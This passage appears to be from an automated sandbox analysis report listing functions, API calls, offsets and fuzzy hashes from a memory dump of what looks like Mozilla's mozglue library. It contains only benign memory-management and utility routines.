Instruction Fuzzy Hash: 8D512C32B01A74CBEB089F65C84076573B5EB89BA4B29413AD9A597FA0DF34F801D7D0

Function 6CE0BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CE0BE49), ref: 6CE0BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CE0BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CE0BE49), ref: 6CE0BF38
RtlReAllocateHeap.NTDLL ref: 6CE0BF83
RtlFreeHeap.NTDLL(6CE0BE49,00000000), ref: 6CE0BFA6

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 56ab443f6c0d6dbe3b9cb5d870aa276cb945b13884419c13c44414437fd5ddab
Instruction ID: 7df7475d5660bfdc30098bcbe05a4cdffb08b393110f0d00b7fc83f3b5fe1bd0
Opcode Fuzzy Hash: 56ab443f6c0d6dbe3b9cb5d870aa276cb945b13884419c13c44414437fd5ddab
Instruction Fuzzy Hash: 6E517C71F002058BE710CF68CD81BAAB3B6FF85318F394629D515A7B54D730E9268B81

Function 6CDF8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?,6CE1D734), ref: 6CDF8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?,6CE1D734), ref: 6CDF8EBF
free.MOZGLUE(?,?,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?), ref: 6CDF8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?,6CE1D734), ref: 6CDF8F46
free.MOZGLUE(?,?,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?), ref: 6CDF8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CDEB58D,?,?,?,?,?,?,?,6CE1D734,?,?,?), ref: 6CDF8F8F

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c4872f55263b319f7a70ea3053d16721ac726881bee5d4ed7191f7c974fbbe90
Instruction ID: 26e7c877b48b71e9aab6070b629a2457e94346f00f47953d1df052e01e332116
Opcode Fuzzy Hash: c4872f55263b319f7a70ea3053d16721ac726881bee5d4ed7191f7c974fbbe90
Instruction Fuzzy Hash: 8D518FB1A016168FEB14CF54DC8076EB3F6FF46318F16052AD926AB750E731E906CB92

Function 6CDB60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB6180
free.MOZGLUE(?,?,?,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CDB6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB6229
free.MOZGLUE(?,?,?,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CDB625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CDB5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CDB6271

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3b764767606637f18a7238c91f9c3c808d420acf520874e2aad4a8e149553baa
Instruction ID: c9da09b1e26ed986516185e219f81e2d47364e109f865e733c9f1fdb9cad54b4
Opcode Fuzzy Hash: 3b764767606637f18a7238c91f9c3c808d420acf520874e2aad4a8e149553baa
Instruction Fuzzy Hash: 31516AF1A006068BEB18CF68D880BAEB7B5EF45348F100539C65BE7761E731E956CB61

Function 6CDF27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF289A
free.MOZGLUE(?,?,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF2910
free.MOZGLUE(00000001,?,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CDF2620,?,?,?,6CDE60AA,6CDE5FCB,6CDE79A3), ref: 6CDF294E

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1a698e635eb67b8ad44afc7dfb7178dbaed308f7ecffe98d4e315f859b75e22d
Instruction ID: 27228213c9e0d374431cb5fccbd49da4b2211955f6dea38df0851127f9565d12
Opcode Fuzzy Hash: 1a698e635eb67b8ad44afc7dfb7178dbaed308f7ecffe98d4e315f859b75e22d
Instruction Fuzzy Hash: 1141A0B1B002468FEB14CF68D88476AB7F6BB45308F160539D566EB760E731E906CB61

Function 6CDB1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB15E7
free.MOZGLUE(?,?,?,?,?,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CDB152B,?,?,?,?,6CDB1248,?), ref: 6CDB1637

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: c1462a41f9558aa916fd57664dbc80508887a72fbae950230a2d5ce19e67e2b2
Instruction ID: d4ade01451b88dea66d311be14b72a1b87bd4404996cc6886181f6c82ca95326
Opcode Fuzzy Hash: c1462a41f9558aa916fd57664dbc80508887a72fbae950230a2d5ce19e67e2b2
Instruction Fuzzy Hash: 6E31D8F2A041158BC7188F78D95146E77F9BB863647240B2DE423EBBF4EB30D9158791

Function 6CE0AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AD9D

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AE01
GetLastError.KERNEL32(?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AE3D

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: faf4d65076977e2d551d6fdb25725d8465967d66c7d2721e8fb76efc81752ce1
Instruction ID: 1264d66020cba40817e277e4b9b148677e84e2dcd9360730aab0f95bcbc1601b
Opcode Fuzzy Hash: faf4d65076977e2d551d6fdb25725d8465967d66c7d2721e8fb76efc81752ce1
Instruction Fuzzy Hash: 973132B2A402159FDB10DF758C44BABB7F8EF49624F15482DE85AD7700E734E855CBA0

Function 6CE05EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CE1DCA0,?,?,?,6CDDE8B5,00000000), ref: 6CE05F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CDDE8B5,00000000), ref: 6CE05F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CDDE8B5,00000000), ref: 6CE05F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CDDE8B5,00000000), ref: 6CE05F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CDDE8B5,00000000), ref: 6CE05FD6

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: c77a1601f4f0e0240a41d1dfe6259628a780900de3a8b43a87cb45c766164fba
Instruction ID: 27601a7decbca584032af4f2b6b4cba45886795f05547829efe168a375eafe63
Opcode Fuzzy Hash: c77a1601f4f0e0240a41d1dfe6259628a780900de3a8b43a87cb45c766164fba
Instruction Fuzzy Hash: 18312C343016008FD710CF29C899E6ABBF6FF89319BA48958F5568B795CB39EC51CB84

Function 6CDAB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CDAB532
moz_xmalloc.MOZGLUE(?), ref: 6CDAB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDAB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CDAB57E
free.MOZGLUE(00000000), ref: 6CDAB58F

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a9a8ad5b112061416d94f64d63619a3c9dc1cb9ad172cf69f19b2f754c95efcc
Instruction ID: 2f7869e4bba6e07dafe6ee114abb90d05b9ef2b1722364c3c11befdacbc27a22
Opcode Fuzzy Hash: a9a8ad5b112061416d94f64d63619a3c9dc1cb9ad172cf69f19b2f754c95efcc
Instruction Fuzzy Hash: 3221EA71A00209EBDB008FA5CC40BAABBB9FF46314F244129E918DB391E775D912C7A1

Function 6CDAB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CDAB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CDAB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CDAB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDAB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDAB849

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5c52c849867548525ed499cfd3df6a145e0f729407bd26b102e472f0024041e7
Instruction ID: a3deb49708eb4b1b141ef64f10c66efcd0723db12dc3d9391f30dc1193c13882
Opcode Fuzzy Hash: 5c52c849867548525ed499cfd3df6a145e0f729407bd26b102e472f0024041e7
Instruction Fuzzy Hash: 21215CB0E002099FDF04DFA9C885AFEBBB4EF49314F148129ED45A7341E735A945CBA1

Function 6CE06E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CE06E78

Part of subcall function 6CE06A10: InitializeCriticalSection.KERNEL32(6CE2F618), ref: 6CE06A68
Part of subcall function 6CE06A10: GetCurrentProcess.KERNEL32 ref: 6CE06A7D
Part of subcall function 6CE06A10: GetCurrentProcess.KERNEL32 ref: 6CE06AA1
Part of subcall function 6CE06A10: EnterCriticalSection.KERNEL32(6CE2F618), ref: 6CE06AAE
Part of subcall function 6CE06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CE06AE1
Part of subcall function 6CE06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CE06B15
Part of subcall function 6CE06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CE06B65
Part of subcall function 6CE06A10: LeaveCriticalSection.KERNEL32(6CE2F618,?,?), ref: 6CE06B83

MozFormatCodeAddress.MOZGLUE ref: 6CE06EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CE06EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CE06EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CE06EFF

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 3d6e11f64b1ccd3cec5e1cda4e8f3df02133ccf405fb03102a3f04abe0eea42b
Instruction ID: 3938a6c9245ed017c45caff6f0071189ee7590b90ee11c203bea68894a49e1fe
Opcode Fuzzy Hash: 3d6e11f64b1ccd3cec5e1cda4e8f3df02133ccf405fb03102a3f04abe0eea42b
Instruction Fuzzy Hash: 1221A171E0421A9FDB10CF69D885ADA77F9FF84308F144439E80997341EB749A998F92

Function 6CE076C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CE076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CE07705

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE07717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CE0778F,00000000,00000000,00000000,00000000), ref: 6CE07731
free.MOZGLUE(00000000), ref: 6CE07760

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 353fbe49f10b120ac5685fdc166153146b8857339cd4181e03d8335d2ae42418
Instruction ID: 05c7dad672203af3e3a97e42450bf6e780e00ba91d4f39c8c0a09a89037aa75b
Opcode Fuzzy Hash: 353fbe49f10b120ac5685fdc166153146b8857339cd4181e03d8335d2ae42418
Instruction Fuzzy Hash: E31190B1A053156BE720AF668C44BABBEF8EF46295F144429E848A7300E771885087F2

Function 6CDE0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CDA3DEF), ref: 6CDE0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CDA3DEF), ref: 6CDE0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CDA3DEF), ref: 6CDE0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDE0D97, 6CDE0DBE
<jemalloc>, xrefs: 6CDE0D92, 6CDE0DB9

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ccdb2cd89bdbb8fc1e688168926382e4afa7954805f2cb3523f23db60b091f42
Instruction ID: da315a327b4245f04718eef35f9cf28f13a6f0ca1bcae5e00356b0613cbe881c
Opcode Fuzzy Hash: ccdb2cd89bdbb8fc1e688168926382e4afa7954805f2cb3523f23db60b091f42
Instruction Fuzzy Hash: 90F0BE2178039862E62413A64C0BB5A767DA7CABA4F344026F245DAD90DE98F800E7A5

Function 6CDF7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CDF75C4,?), ref: 6CDF762B

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CDF74D7,6CE015FC,?,?,?), ref: 6CDF7644
GetCurrentThreadId.KERNEL32 ref: 6CDF765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CDF74D7,6CE015FC,?,?,?), ref: 6CDF7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CDF74D7,6CE015FC,?,?,?), ref: 6CDF7677

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 32cca45d566c340b575fc3b1ff48ef3744cd0db07ed327675640c430cf512ad9
Instruction ID: 5586f08f59aa077573702a04cd26fdc0140aacc1a950259d65fc37e0779436dd
Opcode Fuzzy Hash: 32cca45d566c340b575fc3b1ff48ef3744cd0db07ed327675640c430cf512ad9
Instruction Fuzzy Hash: 24F0C271E10749ABD7008F21C888776B778FFEB259F214316F90697601E7B4A5D08BD0

Function 6CE01700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CE01800

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Part of subcall function 6CDA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3EBD,6CDE3EBD,00000000), ref: 6CDA42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CE018C7
Details, xrefs: 6CE01925
name, xrefs: 6CE01939

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 51c5acb77ea7c6019f5743b07143787a4693f9aca42cd71846a19d231768a2b2
Instruction ID: b43e8baf2b50abb4b41c66612f3614a1b01e24a423e1bc6b146766a38a576e11
Opcode Fuzzy Hash: 51c5acb77ea7c6019f5743b07143787a4693f9aca42cd71846a19d231768a2b2
Instruction Fuzzy Hash: 55710470A007469FC704CFA8D440BAABBB2FF45304F54466DD8154BB41DB78EAA9CBE2

Function 6CE0B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CE0B0A6,6CE0B0A6,?,6CE0AF67,?,00000010,?,6CE0AF67,?,00000010,00000000,?,?,6CE0AB1F), ref: 6CE0B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CE0B0A6,6CE0B0A6,?,6CE0AF67,?,00000010,?,6CE0AF67,?,00000010,00000000,?), ref: 6CE0B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CE0B0A6,6CE0B0A6,?,6CE0AF67,?,00000010,?,6CE0AF67,?,00000010), ref: 6CE0B25F

Strings

map/set<T> too long, xrefs: 6CE0B1FA

Memory Dump Source

Source File: 00000000.00000002.1415204841.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1415155756.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415271080.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: bdaf76e2ffeb9457bc9cf5b82f5999864e20b9ba9c37be1af16b0203cfcca132
